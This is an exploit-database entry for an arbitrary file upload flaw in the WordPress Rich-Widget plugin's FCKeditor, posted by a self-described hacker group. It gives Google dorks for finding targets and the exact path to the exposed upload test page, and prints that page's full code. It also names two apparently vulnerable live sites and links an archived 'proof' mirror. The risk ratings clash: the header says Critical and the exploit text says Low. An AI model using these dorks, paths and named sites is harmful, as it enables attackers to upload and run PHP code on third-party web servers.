Exploitalert - Database of Exploits

WordPress Muller Design Studio DiyThemes Rich-Widget Editor Arbitrary File Upload

CVE	Category	Price	Severity
CVE-2015-5731	CWE-434	$500	Critical

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2018-05-23

CVSS	EPSS	EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2018050186

WordPress Muller Design Studio DiyThemes Rich-Widget Editor Arbitrary File Upload

################################################################################# # Exploit Title :WordPress Muller Design Studio DiyThemes Rich-Widget Editor Arbitrary File Upload Vulnerability # Author : KingSkrupellos from Cyberizm.Org Digital Security Technological Turkish Moslem Army # Vendor Homepage => wordpress.org # Date: 22/05/2018 # Exploit Risk : Low ################################################################################# Exploit Title : WordPress Designed and Hosted by Muller Design Studio / DiyThemes Rich-Widget FCKeditor Arbitrary File Upload Vulnerability Google Dork => Designed and Hosted by Muller Design Studio. Google Dork 2 => Get smart with the Thesis WordPress Theme from DIYthemes. Software Download Link => downloads.wordpress.org/plugin/rich-widget.0.2.4.zip Explanation for this Vulnerability => The Rich WidgetPlugin for WordPress is prone to an arbitrary file-upload vulnerability. An attacker can exploit this issue to upload arbitrary PHP code and run it in the context of the Web server process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible. Attackers may exploit this issue through a browser. Exploit => /wp-content/plugins/rich-widget/fckeditor/editor/filemanager/connectors/uploadtest.html Your File Here [ Path ] => /wp-content/uploads/rich-widget/...... Affected Code Here => [code] <html> <head> <title>FCKeditor - Uploaders Tests</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <script type="text/javascript"> // Automatically detect the correct document.domain (#1919). (function() { var d = document.domain ; while ( true ) { // Test if we can access a parent property. try { var test = window.opener.document.domain ; break ; } catch( e ) {} // Remove a domain part: www.mytest.example.com => mytest.example.com => example.com ... d = d.replace( /.*?(?:\.|$)/, '' ) ; if ( d.length == 0 ) break ;// It was not able to detect the domain. try { document.domain = d ; } catch (e) { break ; } } })() ; function SendFile() { var sUploaderUrl = cmbUploaderUrl.value ; if ( sUploaderUrl.length == 0 ) sUploaderUrl = txtCustomUrl.value ; if ( sUploaderUrl.length == 0 ) { alert( 'Please provide your custom URL or select a default one' ) ; return ; } eURL.innerHTML = sUploaderUrl ; txtUrl.value = '' ; var date = new Date() frmUpload.action = sUploaderUrl + '?time=' + date.getTime(); if (document.getElementById('cmbType').value) { frmUpload.action = frmUpload.action + '&Type='+document.getElementById('cmbType').value; } if (document.getElementById('CurrentFolder').value) { frmUpload.action = frmUpload.action + '&CurrentFolder='+document.getElementById('CurrentFolder').value; } frmUpload.submit() ; } function OnUploadCompleted( errorNumber, fileUrl, fileName, customMsg ) { switch ( errorNumber ) { case 0 :// No errors txtUrl.value = fileUrl ; alert( 'File uploaded with no errors' ) ; break ; case 1 :// Custom error alert( customMsg ) ; break ; case 10 :// Custom warning txtUrl.value = fileUrl ; alert( customMsg ) ; break ; case 201 : txtUrl.value = fileUrl ; alert( 'A file with the same name is already available. The uploaded file has been renamed to "' + fileName + '"' ) ; break ; case 202 : alert( 'Invalid file' ) ; break ; case 203 : alert( "Security error. You probably don't have enough permissions to upload. Please check your server." ) ; break ; default : alert( 'Error on file upload. Error number: ' + errorNumber ) ; break ; } } </script> </head> <body> <table cellSpacing="0" cellPadding="0" width="100%" border="0" height="100%"> <tr> <td> <table cellSpacing="0" cellPadding="0" width="100%" border="0"> <tr> <td nowrap> Select the "File Uploader" to use: <br> <select id="cmbUploaderUrl"> <option selected value="asp/upload.asp">ASP</option> <option value="aspx/upload.aspx">ASP.Net</option> <option value="cfm/upload.cfm">ColdFusion</option> <option value="lasso/upload.lasso">Lasso</option> <option value="perl/upload.cgi">Perl</option> <option value="php/upload.php">PHP</option> <option value="py/upload.py">Python</option> <option value="">(Custom)</option> </select> </td> <td> Resource Type<br /> <select id="cmbType" name="cmbType"> <option value="">None</option> <option value="File">File</option> <option value="Image">Image</option> <option value="Flash">Flash</option> <option value="Media">Media</option> <option value="Invalid">Invalid Type (for testing)</option> </select> </td> <td> Current Folder: <br> <input type="text" name="CurrentFolder" id="CurrentFolder" value="/"> </td> <td nowrap>      </td> <td width="100%"> Custom Uploader URL:<BR> <input id="txtCustomUrl" style="WIDTH: 100%; BACKGROUND-COLOR: #dcdcdc" disabled type="text"> </td> </tr> </table> <br> <table cellSpacing="0" cellPadding="0" width="100%" border="0"> <tr> <td noWrap> <form id="frmUpload" target="UploadWindow" enctype="multipart/form-data" action="" method="post"> Upload a new file:<br> <input type="file" name="NewFile"><br> <input type="button" value="Send it to the Server" onclick="SendFile();"> </form> </td> <td style="WIDTH: 16px">      </td> <td vAlign="top" width="100%"> Uploaded File URL:<br> <INPUT id="txtUrl" style="WIDTH: 100%" readonly type="text"> </td> </tr> </table> <br> Post URL: <span id="eURL"> </span> </td> </tr> <tr> <td height="100%"> <iframe name="UploadWindow" width="100%" height="100%" src="javascript:void(0)"></iframe> </td> </tr> </table> </body> </html>[/code] ################################################################################# Example Sites => dXailyinsider.info/wp-content/plugins/rich-widget/fckeditor/editor/filemanager/connectors/uploadtest.html dXaltoncra.org/wp-content/plugins/rich-widget/fckeditor/editor/filemanager/connectors/uploadtest.html Example Mirror [ Proof ] => archive.is/cFgQn - archive.is/www.dailyinsider.info ################################################################################# Discovered By : KingSkrupellos from Cyberizm.Org Greetings : All Moslem Hackers and Cyberizm Digital Security Team

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